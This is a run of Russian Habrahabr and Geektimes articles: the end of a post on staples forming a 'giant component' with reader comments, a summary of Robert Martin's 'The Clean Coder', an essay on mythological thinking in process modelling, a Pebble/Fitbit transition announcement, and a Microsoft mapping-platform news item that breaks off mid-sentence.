крючковатыми концами, согнутыми примерно на 180 градусов в процессе переплета и которые в основном сохранили угол больше 90 градусов после того, как их выдернули из бумаги. Мне стало интересно, как поведут себя блестящие новенькие скобы и я провел эксперимент (Materials and methods: 630 Stanley Bostitch chisel-point staples, model SBS191/4CP, freshly dispensed from an open-jaw Swingline stapler.) Я был, мягко говоря, удивлен результатом. Хотя скопление скоб было несколько более свободным и более тонким, суть действительно не особо отличалась. Снова мы свидетельствуем рождение гигантской компоненты. Комментарии Barry Cipra : Возможно, стоило бы повторить эксперимент с новыми скобами, делая паузу каждый раз, когда вы добавляете скобы (скажем каждые 10 или 20 скоб), встряхивая то, что уже находится в чаше, и затем наблюдать как образуется большое скопление, когда вы берете одну из скоб. Возможно, было бы неплохо повторить встряску и паузы между добавлением скоб несколько раз и понаблюдать за статистикой. Я предполагаю, что (средний) процент скоб, которые поднимутся с клубком скоб, будет довольно маленьким, пока общее количество скоб в миске не будет равно приблизительно сотне, и затем начнет увеличиваться к чему-то достаточно близкому 100%. Из этого следует какая-то логическая кривая? И если да, то какая? В любом случае, это замечательное наблюдение! Yonkou : Очень красивая работа. Интересно, играет ли роль форма миски. Я действительно понимаю эксперимент плоской пластины …, но вы добавляли скобы к верхушкам предыдущих (что оказывает давление, когда вы делаете это в чаше)? Также интересно, что произошло бы, если бы мы добавляли их в более ограниченном контейнере, скажем, в пробирке. Unekdoud : Я думаю, вы должны рассмотреть возможность сделать это с различным офисным оборудованием, скажем со скрепками. Кроме того играет ли роль размер степлера? Смешивайте и сочетайте их различные виды, чтобы образовать «сплавы». Если вы рассматриваете их как примеси во льду, мог бы быть определенный значимый эффект на структуру. Есть ли аналог температуры замерзания льда? Каковы изменения в плотности? Обязательно, размер миски имеет значение. Вероятно, существует возможность сделать гигантская компонента в невыпуклой форме. Что касается самой структуры, вы могли бы хотеть рассмотреть фактически её отображение в виде графа, чтобы изучить свойства подграфов и циклов, а также такие вещи, как плотность вершин. Можно добавить немного клея, чтобы сохранить структуру, и чтобы за ней было легче наблюдать. Изменятся ли свойства графа, если используется другой метод для создания гигантской компоненты типа использования магнита или намагниченных ножниц, чтобы расшевелить структуру? Как бы это изменилось, если бы скобы были погружены в масло? Что, если они нагреваются или охлаждаются в середине процесса? Что насчет вибрации на разных частотах? С точки зрения размера компонента, вы, возможно, захотите продолжать добавлять скобы, чтобы посмотреть до каких размеров он может дорасти. Возможно ли объединить два компонента? И где можно это применить помимо физики и химии? Так же можно будет воссоздать этот эксперимент в контексте социальной сети. Аналогичные эффекты тогда будут наблюдаться в разных масштабах, или, возможно, будут совершенно другими. Brian : Спасибо Barry и Yonkou и Unekdoud за то, что подняли несколько интересных вопросов и предложили дальнейшие направления для исследований. Прежде чем что-либо еще сказать, я хотел бы отметить, что это один из тех редких случаев в экспериментальной науке, где любой может играть. Материалы легко доступны. Вам не нужен грант NSF, чтобы финансировать исследование (хотя я предполагаю, что мы могли бы искать финансирование в магазинах канцелярских принадлежностей). Любой ценой: Захватите степлер и присоединитесь. В духе научного сотрудничества и рьяном преследовании правды, я готов поделиться своим запасом используемых скоб. Барри спрашивает о появлении кластеров в маленьких совокупностях скоб. Я не знаю, как это бывает. С графами Erdős-Rényi известные результаты строго справедливы лишь в пределах бесконечного N, но на практике бесконечность встречается довольно редко в теории графов. Unekdoud спрашивает о самых больших достижимых скоплениях. Опять же я не знаю, но, конечно, должен быть физический предел. В какой-то момент вес скопления превышает силу той скобы, на которой все держится. Что касается открытых вопросов о форме чаши, манере помешивая, размере скоб и т. д.: помимо того, что эти факторы важны, у нас нет системы, которая бы привела к четкому анализу. Я бы предпочел выйти из этого беспорядочного мира металлических скоб и перейти в область моделирования, где мы можем вычислительно моделировать и математически решать. Но, конечно, у меня нет такой модели. Наконец насчет скрепок. Это территория американского ученого коллеги Генри Петроски. Он написал об этом книгу и пусть это останется его областью. Кevembuangga : Я думаю, что подобного рода “исследования” глубоко идиотские, однако я искренне благодарен, что некоторые люди занимаются ими, так же, как я благодарен людям, зависимым от видео игр за успешное развитие высокой производительности процессора. Ben : первое о чем я подумал, когда вы начали говорить о случайных графах, это что «плоская» часть скобы должна быть вершиной, а «концы» должны быть краями — в конце концов все края формируют “связи”, которые вы описывали, когда обсуждали молекулы воды. Связи между краями формируются беспорядочно, поскольку скобы размещены в миске или перемешаны вокруг чаши или еще что-то. Тогда изменение от 2 до 3 измерения, от поверхности до миски, изменяет вероятность, что случайная связь формируется между любыми двумя вершинами. Нужно подумать о том как точно, но по-видимому на поверхности, ожидаемое количество связей — меньше, чем n/2, в то время как в миске оно больше. Jess : Моя мысль заключается в том, что степлер это в целом — вершина и край сформированные, когда две скобы зацепляются друг за друга. Это кажется проще, чем предложенный процесс “слияния”. Мы не ожидаем, что понятие края больше заключается в связи между двумя объектами, чем в грубом физическом аналоге? Stephan Mertens говорит: Я предполагаю, что своего рода энтропийный храповой механизм (entropic ratchet mechanism) (по крайней мере, частично) ответственен за формирование гигантской компоненты: есть много способов того как две скобы могут зацепиться но это требует, чтобы скоординированное перемещение отделило пару соединенных скоб. И я думаю, что тот же самый аргумент относится к шнурам питания в вашем ящике, которые всегда формируют гигантский узел. Еще материалы: Giant component The birth of the giant component (Knuth) Связность G(n,p), гигантская компонента, характеристические числа G(n,p) Lecture 9 — Теорема о появлении гигантской компоненты в случайном графе Системная биология – сети М.Гельфанд «Сравнительная геномика» БиБи 4 курс. — презентация From Cycles to Giant Components, a Socially-guided Tour NetLogo Models Library: Sample Models/Networks Поддержка публикации — компания Edison , которая разрабатывает биллинговую систему для провайдеров , а так же разрабатывает ПО для сдачи налоговой отчетности через Интернет .
https://habrahabr.ru/company/edison/blog/317750/
habrahabr
Идеальный программист. Часть 2
['идеальный программист', 'программирование', 'программисты']
Это вторая часть статьи по книге Роберта Мартина «Идеальный программист». В первой части статьи мы начали изучать, чем идеальный программист отличается от не идеального. Рассмотрели...
Это вторая часть статьи по книге Роберта Мартина «Идеальный программист» . В первой части статьи мы начали изучать, чем идеальный программист отличается от не идеального. Рассмотрели ответственность, научились говорить «нет» нереальным задачам и говорить «да» так, чтобы заказчик был, уверен, что всё будет готово вовремя. Мы определились, как писать код, принимать помощь и помогать другим. Продолжим. 7. Разработка через тестирование Про TDD говорят много всякого разного, например, вот статья на хабре . Роберт Мартин, однако, говорит, что эта методика очень хороша. Короткий рабочий цикл . Чем короче временной интервал от написания кода до его запуска, тем производительнее получается ваша работа. Вы можете запускать код каждый час (долго), а можете каждые пару минут (отлично!). Автотесты способствуют увеличению скорости. Написал → запустил тесты. Три закона TDD: Рабочий код пишется только после того, как будет написан модульный тест, который не проходит. Вы пишете ровно такой объем кода модульного теста, какой необходим для того, чтобы этот тест не проходил (не компилируется = не проходит). Вы пишете ровно такой объем рабочего кода, какой необходим для прохождения модульного теста, который в данный момент не проходит. Преимущества: Вы уверены в написанном коде Багов становится меньше Вы смелее вносите изменения. Когда весь код покрыт тестами, рефакторинг делается безболезненно. Тесты — отличная документация. Ваши тесты — прекрасные примеры использования кода. Хорошая архитектура. Только хорошо изолированный и слабо связанный код поддаётся тестированию. С TDD вы уже не напишете метод, который вызывает другой метод, который вызывает другой метод, который вызывает другой метод. 8. Тренировка Если мы не развиваемся, значит, мы деградируем. Музыканты играют гаммы, Ф.Г. Углов в своей книге «Сердце хирурга» (http://fb2bookdownload.ru/modern-prose/213-serdce-hirurga.html) рассказывает, как он всю свою жизнь (а прожил он 104 года) тренировался в наложении швов. Адвокаты тренируют речь, военные участвуют в учениях. А как быть программистам? Им тоже нужно тренироваться? Пианист не задумывается, как ему нажимать на клавиши: он думает о музыке, т.е. его мысли находятся на более высоком уровне. Мы с вами не задумываемся, как клацать по клавиатуре: пальцы сами набирают текст, в то время как мозг работает на более высоком уровне: думает о статье или о коде. Хорошо бы, если мы не будем думать о тривиальных задачах программирования: типах данных, базовых кодовых конструкциях и паттернах, а вместо этого будем думать о бизнесе клиента. Тренируйтесь, чтобы совершенствоваться в программировании. Ката . Вы тренируетесь реализовывать определённый алгоритм (например, быструю сортировку). Вы не решаете задачу, а тренируетесь в выполнении действий, необходимых для решения. Это помогает запомнить горячие клавиши, закрепить в подсознании пары «задача-решение». Вадза . Это работа с напарником. Вы выбираете ката для отработки и делитесь на роли: один пишет решение, а другой модульные тесты. Затем меняетесь. Если вы взяли новую ката, которую раньше не брали, игра становится соревновательной и интересной. Напарник, который пишет тесты влияет на решение: устанавливает ограничения и критерии оценки. Рандори . Собирается группа. На общем экране первый участник пишет тест. Следующий участник пишет прохождение теста и следующий тест. И так дальше по кругу. Такая методика помогает выяснить, как другие люди подходят к решению задач, расширяет кругозор и повышает квалификацию. 9. Приёмочное тестирование В требованиях всегда будут неточности и изменения. Заказчик будет менять решение, а исполнитель будет менять реализацию. Исполнитель будет додумывать за заказчика и неправильно интерпретировать его слова. Я лично видел три крупных проекта, которые сдохли по этой причине. Но есть решение: введите точные и всем понятные приёмочные испытания. У разных людей совершенно разное понимание слова «сделать». У нас на предприятии принято пользоваться вот этим , когда сделать — значит сделать и сдать. Однако, не все принимают такое определение. Я видел случаи, когда разработчик что-то закодил и решил, что сделал. Вроде, формальные требования выполнены, однако, заказчик недоволен. Это фрилансерский подход к жизни. Проблему решит приёмочное тестирование со строгими алгоритмами. Это TDD, только на более высоком уровне. Пишете тест на любом языке (можно на русском) и согласовываете его с заказчиком. Задача должна быть покрыта приёмочными тестами на 100%. Автор книги пишет, что эти тесты должны быть понятными заказчику и автоматизированными. Лично я не знаю, как это сделать на ранней стадии: можно писать модульные тесты, но они непонятны заказчику. А можно писать тесты в Селениуме, но это уже более поздняя стадия. Если кто поделится рецептами для .NET, буду благодарен. Что делать, если тест написан неправильно? Вы разработчик и у вас есть мозги. С их помощью вы можете увидеть ошибки в приёмочном тесте. Позиция «сделаю как написано» — это худшее, что можно придумать: вы сделаете хуже и себе и людям, поэтому единственный вариант исправления ситуации — это поговорить с разработчиком теста. Интерфейс будет меняться. Чтобы смена интерфейса не ломала селениумовские тесты, думайте об этом во время разработки. Используйте id элементов для тестирования (ok_button, select_tour) или БЭМ-нотацию. Непрерывная интеграция. Сделайте так, чтобы тесты запускались сами после каждого пуша в репозиторий. Если вдруг вам пришло оповещение, что тесты загорелись красным, — работа всей группы должна остановиться. Это очень важный момент, который пришёл из бережливого производства: вы увидите такую методику на заводе Toyota или Tesla. Если на контроле качества обнаруживается дефект, весь конвейер останавливается и начинается поиск проблемы. Станки перенастраиваются или чинятся и процесс запускается дальше. Цена ошибок слишком высока, чтобы их игнорировать. 10. Стратегии тестирования Тестировщики не должны противостоять разработчикам. Хотя и кажется, что их роли антагонистичны, такое противостояние контрпродуктивно. Хорошо, когда тестировщик всеми силами помогает разработчику: ищет баги и описывает их так, чтобы разработчик максимально быстро понял, в чём дело, как воспроизвести и как починить. Автор описывает пирамиду автоматизации тестирования Про модульные тесты мы всё знаем, а про остальные чуть подробнее. Компонентные тесты проверяют отдельный кусок системы. Аналитики описывают бизнес-правила как раз на уровне компонентов, и компонентные тесты становятся приёмочными тестами для бизнес-правил. Пример: тестирование системы поиска пациентов. Интеграционные тесты проверяют взаимодействие между компонентами. Пример: «А как отработает поиск по пациентам, если модуль хранения пациентов отвалится?» или «как отработает связка модуля хранения счетов с модулем оплаты, если внешний эквайринг перестал отдавать валюту?» Системные тесты — предельный случай интеграционных тестов. Обычно, это тесты производительности и пропускной способности. Они проверяют не поведение системы, а её конструкцию. Исследовательские тесты не автоматизируются. Это тот случай, когда мы ходим по системе и ищем, где и что можно поломать. Ищем неожиданное поведение и подтверждаем ожидаемое. 11. Планирование Роберт Мартин пишет о своём распорядке. Он говорит, что встаёт в 5 утра, едет на велосипеде в офис, пишет расписание рабочего дня на доске. Расписание делит на 15-минутные интервалы, оставляя каждый час по 15 минут на отвлечения. После 15:00 хаос достигает апогея и дальнейшее планирование бессмысленно: идёт разгребание накопившихся дел. Получается, автор использует буфер, который описан в статье « Сделать завтра ». Такая схема может давать сбои, но в целом, позволяет навести порядок в рабочем времени. Встречи — зло и только иногда добро. Когда я работал в крупнейшей транспортной компании страны, я понял, что значит много встреч. Совещания там проводятся по любому поводу и без повода. Согласование макета страницы промо-сайта — это встреча пяти человек, каждый из которых после совещания соберёт своё мини-совещание. Для того, чтобы передать какие-то данные с внешней части сайта в учётную систему, нужно не одно совещание, а пять. Это безумно выматывает и служит поводом увольнения. Автор пишет, что в США совещание стоит 200 долларов в час на каждого участника (зарплаты, премии, помещения). А посчитал и получилось, что в России сильно дешевле: ≈13 долларов в час на каждого. Но всё равно дороговато. Отказ от участия и уход со встречи Вы можете отказаться от участия. Если совещание бесполезно, не несёт пользы для вашего текущего проекта, не окупится в будущем — смело отказывайтесь. Нормальный руководитель будет защищать ваше право отказа: для него ваше время столь же ценно, как и для вас. Если же вы пришли на встречу, а она затягивается или идёт бесполезно, уточните, точно ли вы нужны, нельзя ли изменить повестку дня и обсудить важные для вашего участия вопросы сразу. Если это не помогает, выберите подходящий момент и покиньте помещение. Повестка дня Я не участвую во встречах без повестки дня. Это сжирает ваше время и не несёт полезного действия. Когда вас приглашают на встречу, уточните о её цели и повестке дня. Если мне говорят, что «обсудить текущие вопросы», я говорю так: «Для встречи нужна цель и повестка. Давайте уточним эти вещи и будем делать встречу, если она действительно требуется». Чаще всего повестка не образуется и такие встречи проходят без меня. Ну и слава Богу. Пятиминутка — добро Это часть гибкой методологии и без неё никуда. Каждый участник по очереди говорит: 1. Что я сделал вчера? 2. Что я буду делать сегодня? 3. Какие сложности мне предстоит решить? Это быстро и не занимает много времени. Однако, есть компании, в которых пятиминутка превращается в сорокоминутку. Так делать не нужно. 12. Концентрация Ману концентрации легко растерять, хотя она очень нужна. У нас творческая работа и без концентрации нам никуда. Есть несколько важных вещей, чтобы поддерживать концентрацию. Нормальный ночной сон. Управляйте временем сна таким образом, чтобы нормально высыпаться и иметь максимальную производительность днём. Чересчур много тоже не нужно спать. Берите пример с великих . Кофеин . Автор пишет, что можно поглощать умеренные дозы кофеина, но призывает быть осторожным. Я с ним не согласен и отношу кофе и чай к интоксикациям, которые лучше не употреблять. По этому поводу есть книжка « Полезная вредная привычка ». Сам не читал, но вот аннотация . Физические упражнения . Тело нуждается в упражнениях. Погоняйте кровь и лимфу, проехавшись на велосипеде или присев 20 раз прямо в кабинете. Я отмеряю время помидорками и в паузах приседаю, отжимаюсь, делаю «Сурью Намаскар». Ввод и вывод . Чтобы из вас вышло что-то хорошее, нужно, чтобы в вас вошло что-то хорошее. Стимулировать собственное творчество помогает чужое творчество. Хорошо подходит научная фантастика. 13. Уклонение от работы Инверсия приоритетов Несколько раз я замечал за собой такую штуку: есть задача с первым приоритетом, однако, она мне не нравится, и я ищу любой повод, чтобы заняться чем-то ещё. Когда я был маленький, мне как-то дали задачу по актуализации тестовых сценариев уже почти сдохшей системы. Эта задача была для меня настолько неинтересной, что я находил любой повод, чтобы отвлечься. Такое поведение называется инверсией приоритетов: менее важным задачам мы присваиваем высший приоритет. Для профессионалов такое поведение не годится. Мы должны решать задачи в порядке приоритетов, а не по личным предпочтениям. Тупик — это когда вы принимаете решение, а оно оказывается не очень хорошим и чем дальше вы углубляетесь, тем хуже. Нужно отпустить кактус. Говорят, что, если вы оказались в яме, прежде всего перестаньте копать. Наберитесь смелости и откажитесь от тупиковой ветки. Признайтесь, что вы были неправы, выслушайте альтернативные мнения и отступите. Между прочим, для отступления тоже нужна смелость. Грязь в коде снижает производительность до нуля. Все мы хотим писать чистый совершенный код. Однако, приходит время и к нам приходит заказчик с изменившимися требованиями. Тут у вас есть два варианта: вернуться назад и изменить архитектуру или прикрутить костыль. Костыли в коде имеют привычку плодиться очень быстро. Как только вы прикрутили первый, — ждите второй, третий и двадцатый. Так рождается система, которую невозможно поддерживать и, после того, как вы уйдёте, те, кто придут на ваше место скажут: «Это полное дерьмо. Тут нужно всё переписать». Так ваш проект неминуемо идёт к провалу . 14. Оценка Бизнес считает оценку обязательством, а разработчик — предположением. В этом есть принципиальное различие. Я надеюсь, всем понятно, чем обязательство отличается от предположения. Менеджер всегда будет добиваться от разработчика обязательства: — Ты сделаешь переход на ESB за две недели? — Можем, но, думаю, мне нужно три недели. Я никогда не работал с шинами. — Тогда пишем три недели? — Нет, может уйти и 10-11 недель, если наши партнёры не смогут быстро перестроиться на ESB. Автор книги пишет, что для оценки можно использовать методику PERT и давать три оценки оптимистичную, номинальную и пессимистичную. Оптимистичная оценка даётся максимально оптимистично. Это тот случай, когда всё идёт идеально и нет никаких проблем. Вероятность низкая, но её нужно учесть. Номинальная оценка — это стандартная ситуация, когда всё идёт более-менее хорошо. Есть небольшие ожидаемые трудности. Пессимистичная оценка — это когда всё идёт плохо: партнёры не понимают, что мы от них хотим, техподдержка долго отвечает, шина теряет пакеты, а документации на вашем родном арабском языке нет. Часто, чтобы оценить вашу задачу недостаточно только вашего мнения. Хорошо, когда задачу оценит ещё кто-нибудь. Автор предлагает собрать группу экспертов и обсуждать задачу, пока не будет достигнуто согласие в её оценке. Методик голосования множество: от устного волеизъявления до распределения задач по срокам на доске. Прочитайте оригинал книги: там даются формулы и математика, которой нет в статье. 15. Работа под давлением Если вы работаете под давлением, — это, скорее всего, непродуктивно. Когда на вас кричат, всё время чего-то требуют, стучат кулаком об стол, краснеют, зеленеют и лишают премии, — это не самый лучший стимул к работе. В моей работе такие ситуации не встречаются. Однако, автор пишет, что так было с ним. Лучше всего избегать ситуаций, вызывающих давление, не принимать обязательств под давлением и не устраивать грязь в коде. Бывает так, что бизнес принимает обязательства за вас, но вы вовсе не обязаны принимать ответственность за эти обязательства: пусть она лежит на том, кто их принял. Ещё руководитель может сказать: «Нам нужно срочно-срочно, поэтому сейчас писать тесты не нужно. Потом допишем». Не ведитесь и отстаивайте свою точку зрения. Даже в кризисных ситуациях нужно применять TDD или TLD, но ни в коем случае не отказываться от тестирования. Это обернётся большими проблемами в будущем. 16. Программисты Оставшуюся часть книги я перескажу краткими тезисами без подробных расшифровок. Программисты не любят работать с людьми. Именно поэтому они и программисты: они предпочитают работать с предсказуемыми машинами, чем с непредсказуемыми людьми. Программист принимает правила работодателя. Если программист не принимает правил, он увольняется или его увольняют. Программист пишет код, который принадлежит команде. Любой другой член команды может внести изменения в ваш код и вы можете внести изменения в чужой кусок кода. Это накладывает ответственность за то, как вы пишете. Программисты работают парами. Если не всегда, то хотя бы иногда. Иногда очень полезно подсмотреть за тем, как кто-то работает. Программисты-одиночки вместо парного программирования смотрят скринкасты. Программисты работают в группах. А хорошие группы формируются не сразу. Процесс притирания может занять полгода или даже год. Лучше отдавать проект группе, чем временно формировать группу для проекта, а потом расформировывать и перераспределять. У программиста есть наставники. Лучше всего, если это живые люди. Но, возможно, это авторы книг, статей, блогов и видеоуроков. Почти все наши знания мы получаем по парампаре и только иногда придумываем что-то сами и при этом частенько изобретаем велосипед. Программисты пользуются современными инструментами. Используют систему управления исходным кодом, постановкой задач, непрерывную сборку, инструменты тестирования. Заключение Книга перевернула моё понимание о профессионализме и дала понимание, куда можно стремиться. Кто-то в комментах к первой части пишет, что всё это написано про сферического программиста в вакууме. Но взгляните на заголовок статьи. Там написано «идеальный», так что тут описано то, к чему нужно идти. Начните с двух-трёх пунктов и постоянно возвращайтесь к книге, вспоминая, что ещё вы можете улучшить. Счастья вам! Иллюстрации Александра Корнилова ← Первая часть статьи
https://habrahabr.ru/post/317850/
habrahabr
Моделирование активности и мифологическое сознание
['бизнес-модель', 'ООП', 'процессы', 'функции', 'сценарии', 'регламенты']
Эта статья будет простой и короткой. Однако, на мой взгляд, она будет очень важна для аналитиков, которые занимаются описанием активностей. При этом не важно каких — будь то процессы, происходящие...
Эта статья будет простой и короткой. Однако, на мой взгляд, она будет очень важна для аналитиков, которые занимаются описанием активностей. При этом не важно каких — будь то процессы, происходящие в ядерном реакторе, или процессы, происходящие на предприятии, — все они моделируются единообразно. Я попытаюсь в очередной раз об этом поговорить, но на сей раз — без сложных теоретических отступлений. Итак, есть некая активность. В мифологическом сознании первобытного человека за каждым действием стоит сознательное существо. Например, если течет, то делает это живое существо — река, если светит, то делает это живое существо Солнце. Поэтому в мифологическом сознании у каждого действия есть сознающий себя актор, который это действие выполняет. И мы можем сказать, что назначение (функция) этого актора — делать это действие. Я специально говорю о том, что все это происходит только в рамках мифологического сознания. Например, машина едет по дороге только в рамках мифологического сознания, потому что на самом деле машина не обладает волей и не может куда-то ехать. Наш язык настроен на отражение мифологического сознания, поэтому нам так сложно мыслить иначе. Например, можно было бы сказать, что участником активности является машина и дорога, в результате этой активности машина постоянно перемещается по дороге, но мы, одушевляя машину, говорим о том, что это делает именно машина. Таким образом, назначение машины в рамках мифологического сознания — ехать, или в рамках мифологического мышления функция машины — ехать. (хотя мы могли бы с тем же успехом одушевить колесную пару и сказать, что ехать — это функция колесной пары, а не машины). Замечу, что назначение как и функция — не имеет начала и конца в рамках существующего контекста. В рамках того же мифологического сознания, если мы не знаем актора, но видим, что происходит нечто, то мы говорим о действии, которое происходит само по себе, и называем его процессом. Например, если мы видим пламя, то говорим, что идет процесс горения. При этом, если мы выяснили, что идет сжигание попутного газа, то мы можем, одушевив попутный газ в рамках мифологического сознания, сказать, что функция попутного газа — гореть. Мы можем также выяснить, что сжигание происходит при помощи специального факела, и, одушевив факел, мы говорим, что функция факела — сжигать попутный газ. Все ровно так же, как с машиной и колесной парой — что одушевили, то и делает: попутный газ, или факел. Я хочу подчеркнуть, что процесс — это функция без актора, и, также как функция, — не имеет начала и конца в рамках существующего контекста. Иногда нам надо сказать об активности, которая имела начало и конец. В мифологическом сознании это действие также делает одушевленный актор, например, вулкан выбросил лаву. При этом описание активности в виде операции не есть описание активности в виде функции. Например, в мифологическом сознании функция Солнца — давать тепло. Но допустим, что в какой-то момент Солнце взрывается. В рамках мифологического сознания это происшествие не есть функция Солнца, — это операция, совершенная Солнцем. Описание активности в виде операции также не есть описание активности в виде процесса. Иногда мы говорим о последовательности действий — сначала делается одно, потом второе, потом третье и тд. Такое описание активности — есть сценарий. При этом описание активности в виде сценария не есть описание активности в виде функции, или в виде процесса. Иногда мы говорим о типовой последовательности действий. Например, мы говорим, что при пожаре надо действовать определенным образом. Тогда мы говорим о модели сценариев, или о регламенте. Регламент есть модель моделей активностей. При этом очень часто регламент путают с процессом, пытаясь одним словом назвать модель активности и модель модели активности. Это является грубой логической ошибкой. В ООП мифологическое сознание проникло в виде методов, которые должны выполняться определенными объектами определенных классов. В статье Мир есть совокупность фактов, а не вещей об этом хорошо написано. Нам трудно мыслить вне рамок мифологического сознания и потому кажется естественным, что объект класса «машины» обладает методом «ехать». Но по сути своей — этот способ мышления — попытка одушевить неодушевленное. Спасибо за внимание. Я, как и обещал, был краток.
https://habrahabr.ru/post/317854/
habrahabr
Будущее часов Pebble проясняется (относительно)
['pebble', 'fitbit', 'закрытие', 'перевод']
Привет, Гиктаймс! Вы уже, наверное, в курсе, что компания Pebble закрывается, прекращает производство и продажу часов, а интеллектуальную собственность продает компании Fitbit. Которая, в свою...
Привет, Гиктаймс! Вы уже, наверное, в курсе, что компания Pebble закрывается, прекращает производство и продажу часов, а интеллектуальную собственность продает компании Fitbit. Которая, в свою очередь, пообещала поддерживать в течение 2017 года всю необходимую для работы часов инфраструктуру в рабочем состоянии. Думаю, не только меня беспокоит вопрос, а что же будет с часами после? Ответ на него опубликован в блоге Pebble для разработчиков. А ниже вы можете прочесть его перевод. (Снова) здравствуйте! После того, как в течение недели мы представлялись, знакомились, осваивались и вливались в команду Fitbit, я хотел бы представиться тем пользователям, которые меня не знают. Меня зовут Джон Барлоу. Я активно участвую в жизни сообщества с самого начала: Я разработчик циферблатов для Pebble, активный модератор сообщества, человек, безумно увлеченный Pebble и поддержал финансами все три проекта на Kickstarter. Последние год и три месяца для меня было большой честью быть частью команды евангелистов разработчиков Pebble, выполняя обязанности представителя и защитника разработчиков в компании. Сейчас я пишу как член команды в Fitbit, ответственной за спокойный и безболезненный переход Pebble. Наша миссия состоит в том, чтобы поддержать то сообщество разработчиков Pebble, которое мы с любовью взрастили, позаботившись о том, чтобы часы Pebble продолжили работать. Использование Pebble в 2017 году Fitbit позаботилась о том, чтобы софт и сервисы Pebble работали без перебоев в 2017 году. Естественно, никто из новообразованной команды не стремится «окирпичить» Pebble, которые активно используются. Pebble SDK, CloudPebble, Timeline API, доступ к прошивкам, мобильные приложения, портал разработчиков и магазин приложений Pebble являются элементами экосистемы Pebble, которые продолжат работать в течение этого времени. Разработчики приложений для Pebble могут все так же разрабатывать и обновлять их. Пользователи могут все так же с удовольствием пользоваться часами. Дальнейшее развитие Основные функции Для сохранения функциональности Pebble в дальнейшем мы обновим наши мобильные приложения и уберем из них зависимость от кучи облачных сервисов (аутентификация, аналитика, магазин, app locker и т. д.) Это обновление ожидается в ближайшие месяцы. Оно обеспечит сохранение основных функций Pebble даже тогда, когда облачные сервисы закроются. На функциональность это не повлияет. Pebble Health После обновления Pebble Health продолжит работать так же, как и сейчас. Данные Health API не зависят от облачных сервисов, они передаются напрямую в мобильное приложение Pebble, Apple HealthKit и Google Fit. «Умные» функции Pebble Мы сейчас обсуждаем функции Pebble, которые зависят от сторонних сервисов — речевой ввод, сообщения, погода и т. д. — чтобы решить, продолжат ли эти функции работать, и, если да, то как долго. Когда определимся — напишем здесь. Передаем власть пользователям Сообщество Pebble всегда подставляло свое плечо, когда наша маленькая команда нуждалась в этом и вы продолжаете делать это. Мы видим массовый наплыв разработчиков из сообщества, объединившихся , чтобы сохранить работоспособность Pebble в будущем. Если вы хотите внести свою лепту в общее дело, ищите нас на этих каналах Discord : #appstore #firmware #mobile-apps #rebirth Действующие разработчики приложений для Pebble, которым нужна помощь или информация о внутреннем устройстве Pebble могут обращаться к нам. Пишите нам в твиттере @pebbledev или в сообществе Pebble на Discord . И еще, я хочу чтобы сообщество пользователей Pebble знало, как много от него зависит. Продолжая общаться с нами и делиться своим восторгом от того, что делает Pebble особенными для вас, поможет нашим друзьям из Fitbit понять, насколько ценен может быть ваш энтузиазм. Сейчас, как и раньше, мы совершаем удивительное не в одиночку. До скорого, Джон Барлоу + команда #PEBBLExFITBIT → Оригинал статьи
https://geektimes.ru/post/283822/
habrahabr
Microsoft совместно с TomTom и Here разрабатывает «умную» геоинформационную платформу
['microsoft', 'облачные сервисы', 'транспорт', 'доставка грузов', 'умные города']
В современном мире картографические сервисы в буквальном смысле помогают человеку жить и работать. С течением времени эти сервисы становятся все совершеннее. Сейчас корпорация Microsoft...
В современном мире картографические сервисы в буквальном смысле помогают человеку жить и работать. С течением времени эти сервисы становятся все совершеннее. Сейчас корпорация Microsoft объявила о начале совместной с компаниями TomTom, HERE and Esri работы над «умной» геоинформационной платформой. Ее основой станут технологии и сервисы Microsoft, которые будут значительно дополнены и расширены технологическими продуктами партнеров. Базой послужит Microsoft Azure, на основе этого облачного сервиса и будут развивать вторичные продукты. Причем в проекте смогут участвовать сторонние разработчики, которым предоставят возможность создавать корпоративные приложения, а также мобильные, веб-приложения, плюс IoT-сервисы. По словам авторов проекта, новая платформа и ее вторичные элементы, созданные Microsoft и партнерами, будут поддерживать технологии High Definition Map и RoadDNA, что позволит быстрее внедрять автономные системы управления автомобилями. Представители компании TomTom заявили уже о том, что при помощи Microsoft все партнеры, которые принимают участие в проекте, смогут разрабатывать геоинформационные сервисы нового типа, которые облегчат человеку жизнь. Причем создаваемые сервисы, при условии их внедрения в различных населенных пунктах, смогут значительно приблизить время появления «умных» городов, где и общественный, и частный транспорт будет работать в автономном или полуавтоматическом режимах с обновлением баз данных в режиме реального времени. Понятно, что поскольку главным партнером проекта является Microsoft, то в ходе его реализации будут задействованы основные продукты корпорации, включая Bing, Cortana, Windows, Office. В частности, компания HERE уже сейчас поставляет данные для Bing Maps API. Новое соглашение даст корпорации возможность расширить сферу использования геоинформационных данных HERE в дополнительных продуктах и сервисах, в частности, тех из них, что предназначены для работы в авто. Кстати, доля в компании HERE принадлежит Audi, BMW и Daimler. Компания картографирует дорожные развязки, строения, парки и прочие объекты. Затем эти данные продаются или лицензируются для компаний, которые создают разного рода геоинформационные сервисы. По мнению инициаторов проекта, с развитием нового проекта люди смогут получать все больше полезных возможностей, а путешествие на автомобиле, будь то легковая машина или грузовик, станут более эффективными и приятными. Конечно, путешествие по дороге — это все же не полет, но умные геоинформационные сервисы помогут людям экономить время и делать путь более приятным. В этом помогут и продукты, разработанные компанией Esri, это еще один партнер корпорации Microsoft, чье технологии интегрированы в различные приложения и сервисы рэдмондской корпорации. Например, GIS от Esri в режиме реального времени работает в «облаке» Azure, обрабатывая в режиме реального времени картографическую информацию, прогнозы погоды, социальные фиды, информацию с разного рода сенсоров и прочие данные, поставляемые компаниями вроде HERE и TomTom. Все это недавно научились визуализировать . Платформа ArcGIS от Esri получила благодаря Azure новые возможности, превратившись из обычного ArcGIS в тот же сервис «на стероидах». Сейчас облачный сервис обеспечивает быстрый анализ данных, он обрабатывает десятки тысяч фотографий и миллионы картографических изображений в режиме реального времени. Цель проекта — создание комплексного картографического графа данных, подобно тому, как Facebook или Linkedin создал графы людей и специальностей. В будущем корпорация Microsoft планирует сделать свою геолокационную платформу открытой, с большим набором нужной для разработчиков информацией и не меньшим количеством полезных инструментов. Эта платформа будет интегрирована с другими сервисами и платформами. Создатели проекта привели в пример несколько сценариев использования новых сервисов. Например, это обновление карт в автомобилях в режиме реального времени, включая изменение режима движения на дорогах, погодную информацию и многое другое. Умные автомобили, используя эти данные, смогут изменять маршрут движения, обладая полной информацией о ситуации на различных отрезках транспортного пути. Умные системы этих автомобилей покажут водителю близлежащие рестораны по его вкусу или помогут найти сотовую вышку с сигналом максимального качества, если человеку нужно срочно поговорить по телефону. Для безопасности пассажиров будет использоваться предиктивный анализ. В крупных городах, как считают 